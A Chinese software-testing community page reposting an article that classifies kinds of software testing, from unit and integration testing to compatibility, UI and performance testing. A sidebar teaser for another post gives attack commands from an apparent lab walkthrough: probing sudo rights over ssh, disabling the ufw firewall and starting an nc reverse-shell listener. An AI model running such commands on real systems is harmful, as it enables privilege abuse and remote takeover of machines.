• 0
  • 0
分享
  • 测试分类——软件测试圈
  • 恬恬圈 2022-04-18 11:19:52 字数 3036 阅读 1326 收藏 0

1.按照开发阶段划分的4种测试

1.1单元测试

测试阶段:编码后,编码前(TDD)

测试驱动开发:Test——Driven——Development

先写测试用例,跑测试用例,开发人员根据测试用例产生的异常去补充开发代码

测试内容:

模块接口测试:输入参数,参数的个数,参数的类型,参数的顺序要符合接口文档

局部数据测试:

边界测试:for while

错误处理测:try catch finally

路径测试:if else switch

1.2集成测

测试阶段:单元测试之后

测试内容:模块之间数据的传递,模块之间功能的冲突,模块功能的正确性,全局数据结构,单个模块的缺陷对整个系统的影响

1.3系统测试

测试阶段:集成测试以后

测试内容:界面,功能,性能,易用性,安全性,兼容性等

(1)回归测试:当系统的代码进行修改时,为了防止新添加的代码对系统引入新的错误而进行的测试,原因:添加新需求,修改BUG

(2)冒烟测试:对系统的核心功能和主要流程进行测试。是决定我们测试人员是否接受系统进行正式测试的依据。

1.4验收测试

测试阶段:系统测试之后,用户进行测试

测试内容:界面,功能,性能,易用性,安全性,兼容性等,文档的测试(功能说明文档,开发文档,使用说明书)

2.按照测试的实施组织划分的3类

2.1 α测试

把用户(除测试和开发以外的公司人员)请到开发现场进行测试,及时发现并解决问题,但是环境受开发环境的限制,测试时间比较集中。

2.2 β测试

用户在正常的使用环境下进行测试,通常一个周期测试完成,把问题整理成文档,反馈给开发人员,开发人员进行改进;测试时间比较分散,但是是用户在真实的使用环境下进行测试。

β测试在α测试之后

2.3 第三方测试

第三方软件测评机构,是根据行业内的一些标准和规范进行测试

3.按照是否运行去划分(代码)

3.1静态测试(代码不运行)

3.2动态测试(代码运行)

4.按照是否手工划分

4.1手工测试

通过界面去测试,如果进行大量的测试容易出错,但是比较灵活,可以进行发散的测试

4.2自动化测试

前提:在系统功能比较稳定的时候才能可以做自动化测试

自动化测试最大的价值:脚本的重复利用率,重复利用率越高价值越大

步骤:

完成功能测试,版本基本稳定

根据项目特性,选择适合项目的自动化工具,并搭建环境

提取手工测试的测试用例转化为自动化测试的用例

通过工具、代码实现自动化的构造输入,自动检测输出结果是否符合预期

生成自动测试报告

持续改进,脚本优化

为什么要把手工测试的测试用例转化为自动化测试用例

手工测试可以被自动化测试替换吗?不可以,机器替代不了人的思维

5.按照是否查看代码划分

(1)黑盒测试:不关心软件内部的逻辑结果,只关心输入和输出是否达到我们的预期,相当于把测试的软件当成一个只有输入输出的黑色盒子

黑河测试设计测试用例的方法:等价类,边界值,因果图,正交法,场景设计,错误猜测

(2)白盒测试:研究软件内部的程序逻辑和结构,验证是否满足软件需求,相当于把软件当成一个能看见软件内部结构的白色的盒子去测试

白盒测试的方法:判定覆盖,条件覆盖,判定和条件的组合,判定组合,条件组合,语句覆盖,逻辑覆盖,路径覆盖

(3)灰盒测试:介于白盒和黑盒之间,即关心输入和输出又关心程序内部的机构

(4)单元测试:

  1. 安装插件Junit

  2. 找到要测的性能单元测试的类,选中类名,ctrl+shift+T。创建单元测试类

  3. 写单元测试方法

6.按照测试的地域去划分

国际化测试本地测试

软件国际化:就是在设计软件的时候,采用一种工程技术,使得软件在转换成不同国家的语言,风俗习惯的时候不需要修改源码的技术,就叫做软件国际化

7.按照测试对象划分

(1)业务测试:

  • 场景设计法:正常流程,异常流程

  • 了解业务

(2)界面测试(UI测试):

  • 文字的大小,字体,排版,颜色,粗细

  • 图片的清晰度,大小,排版,色彩

  • 页面整体排版,信息提示弹出框

  • 控件对话框,查询框,滚动条,弹出框

  • 按钮的亮度显示,有限按钮高亮展示,无效按钮置灰

响应式测试:页面可以随着屏幕的大小不同而变化

  • 文字在不同分辨率下能够完成并且清晰展示;

  • 图片在不同分辨率下能够正确排版,清晰展示,不重叠;

  • 界面的功能在不同的分辨率下可以正常使用;

  • 界面在不同分辨率下切换的时候,是平滑的过渡;

  • 在不同分辨率下,界面的展示要严格按照UI设计稿来进行展示。

(3)容错性测试

当系统出现一些异常或者用户输入错误的信息,进行异常的操作,系统可以自我处理这样错误情况,不会出现崩溃,页面异常这种情况,可以给用户一个很好的提示体验;

数据容错性:时间,日期,数字,例如:用户输入1月32号时,系统不会直接崩溃,而是会提示用户输入错误。

校验容错性:查询信息前后加空格(去掉)大小写自动转换验证码输入二次密码确认

信息级别:填表单的时候,异常关闭(网络,没电,人为)是否会自动保存

  • 同一个数据被不同人操作的时候,是否会有锁定

  • 同一个信息在不同的平台上被操作(同账号),信息要同步

界面容错性:复杂的操作,有说明提示;用户在执行有风险的测试时,会提示

环境容错性:网络,电源,服务器;无缝切换备用的网络,电源或者服务器就能保证用户无感知。

灾难恢复性测试:人为的让服务器或者服务器所依赖的环境发生故障,测试系统的自我修复能力

1.系统能不能恢复

2.系统碰到这种情况,恢复系统的功能和信息所用的时间用户能否接受

(4)文档测试

测试文档是否完整,术语是否专业,是否容易使用

(5)兼容性测试

系统所在平台的兼容性

web

操作系统windowsios不同的操作系统要进行测试,不同操作系统的不同版本也要进行测试,浏览器要装在不同的操作系统上;不同的浏览器下,网页是否可以正常展示和使用:ChromeFirefoxedgeIE等。不同浏览器的市场上的主流版本也要测试(不同的浏览器内核不同,解析结果可能不同)

APP不同机型不同机型的不同操作系统IOSAndroid不同操作系统的主流版本上进行测试

兼容性测试在不同的平台上测试的功能都是一样的,所以可以用自动化测试

软件本身向前向后的兼容性

软件和其他相关软件的兼容性:淘宝支付宝饿了吗

数据兼容性:同一个软件上数据兼容性

(6)易用性测试

遵循一定的易用性标准开发软件(前期的积累经验,越来越符合人的使用习惯和需求)

直观性:软件的展示要和软件的定位相关

(7)安装测试(卸载)

APP应用商店,浏览器,安装包,命令行

安装的时候断网断电,暂停下次还能不能继续,突然不想下载了取消之后数据有没有清除

(8)安全性测试

是否抵御病毒,SQL的注入,系统攻击

(9)性能测试

为什么要进行性能测试?

能够快速的响应用户的请求(3s/5s/8s)

系统能够负载所需要的用户数量

能够处理系统所需要的事物数量

在负载和事物处理的高峰期,系统可以稳定运行,用户可以得到良好的体验

性能测试测试哪些方面?

对资源的利用率:cpu,gpu,内存,硬盘,网络,电源

响应时间:用户发送请求到用户所期待的响应展示出来

吞吐量:系统在单位时间处理的信息量,字节,事物处理量,HTTP请求量

内存泄漏?

内存泄漏就是系统在使用一些内存的时候,没有及时释放或没法释放,造成系统占用的内存越来越大,系统运行越来越慢,影响其他app的运行

造成内存泄漏的原因?(静态测试,或用一些工具检测)

分配了内存,忘记回收

写法有问题导致分配的内存无法回收

错误的使用API造成内存无法回收

 

作者:mob604756fef1ec

原文链接:https://blog.51cto.com/u_15127650/4292522

  • 【留下美好印记】
    赞赏支持
登录 后发表评论
+ 关注

热门文章

    最新讲堂

      • 推荐阅读
      • 换一换
          • 子查询含义:出现在其它语句中的select语句,称为子查询、内查询、嵌套查询外部的查询语句,称为为主查询或外查询 分类:案子查询出现的位置:select后面      仅支持标量子查询from后面       支持表子查询※where或having后面    标量子查询※、列子查询※、行子查询(较少)exists后面(相关子查询)按结果集的行列数不同:标量子查询(结果集只有一行一列)行子查询(结果集只有一行多列)列子查询(结果集只有一列多行)表子查询(结果集一般为多行多列) 一、whe...
            15 14 1989
            分享
          • 如何正确编写单元测试?国内的大多数互联网公司只注重软件功能,却往往忽略了极为重要的软件质量,在一个月以前,我认为遵循了代码规范(阿里规约、sonar)的软件系统已经算是一个质量比较好的软件系统了,但是在我了解单元测试以后,才发现自己以前的想法有多么愚蠢,单元测试的作用远比我想象的要重要许多。经过一段时间的研究,总算对单元测试有了一个大概的了解,然而网上的文章零零散散,大多是讲解一些比较简单的demo,参考价值比较有限,因此我决定写一篇关于单元测试的文章来总结自己这段时间的收获与心得。背景软件系统刚开发完成时几乎不会出现Bug。为什么呢?因为刚开发第一版软件系统时,需求并不复杂,场景也不是很多,...
            9 9 829
            分享
          • 命令执行漏洞一般查看home目录,挖掘用户信息:ls -alh /home查看具体用户的目录:ls -alh /home/用户名/查看系统信息:uname -a利用ssh命令执行root权限命令使用ssh 用户名@localhost通过ssh登录服务器是不需要身份验证的;比如查看bill用户sudo命令的权限:ssh bill@localhost sudo -lubuntu自带防火墙,所以关闭防火墙方便后面的操作。ssh bill@localhost sudo ufw disable反弹shell攻击机启动监听netcatnc -nlvp&nb...
            14 14 3200
            分享
          •        记得那是2年前,闲来无事简单游览公司关于人事部分相关事宜介绍,无意间看到公司在职员工考取《信息系统项目管理师》资格证书后,高级每月可获得600元工资之外奖励、中级为300元,对于爱钱如命的我来说,顿时吸引了眼球,引起了我的好奇,开启了我与之相生相克历程。  《信息系统项目管理师》是什么?考试难度大么?  《信息系统项目管理师》是软考中的一种,分为高级和中级,其中高级比中级在考试科目上比中级多出了一项论文(不要小看这一篇论文,这是真正体现你学习水平的一关),在选取自己是考高级和中级的选择上,个人建议还是可以直接报考高级(一来可以省去考完中级再...
            0 0 2640
            分享
          •   作为一个已经有多年工程师面试经验,并在国内的大企业,小企业,国外的大企业,小企业混迹过的面试官(注意,我是技术人员,不是HR),我面过很多形形色色的求职者,也有自己的思考。这篇文章希望能帮助到正在面试中的人们。  每年的校园招聘季,阅读和筛选简历都是我重要的工作之一。在一上午时间内怀着生怕错误优秀人才的心态伏案阅读了接近40份简历的我来说,在简历中看到让自己“情何以堪”的内容吐个槽,似乎也合情合理。  不过,简历中是否应该包含“精通”并非是我吐槽的重点,目前完全由于应届毕业生在简历中写了过多精通而被直接挂掉的事情在我身上还未发生过,过多的“精通”表述最多只是我看不惯的一个点而已。  看到回...
            0 0 1235
            分享
      • 51testing软件测试圈微信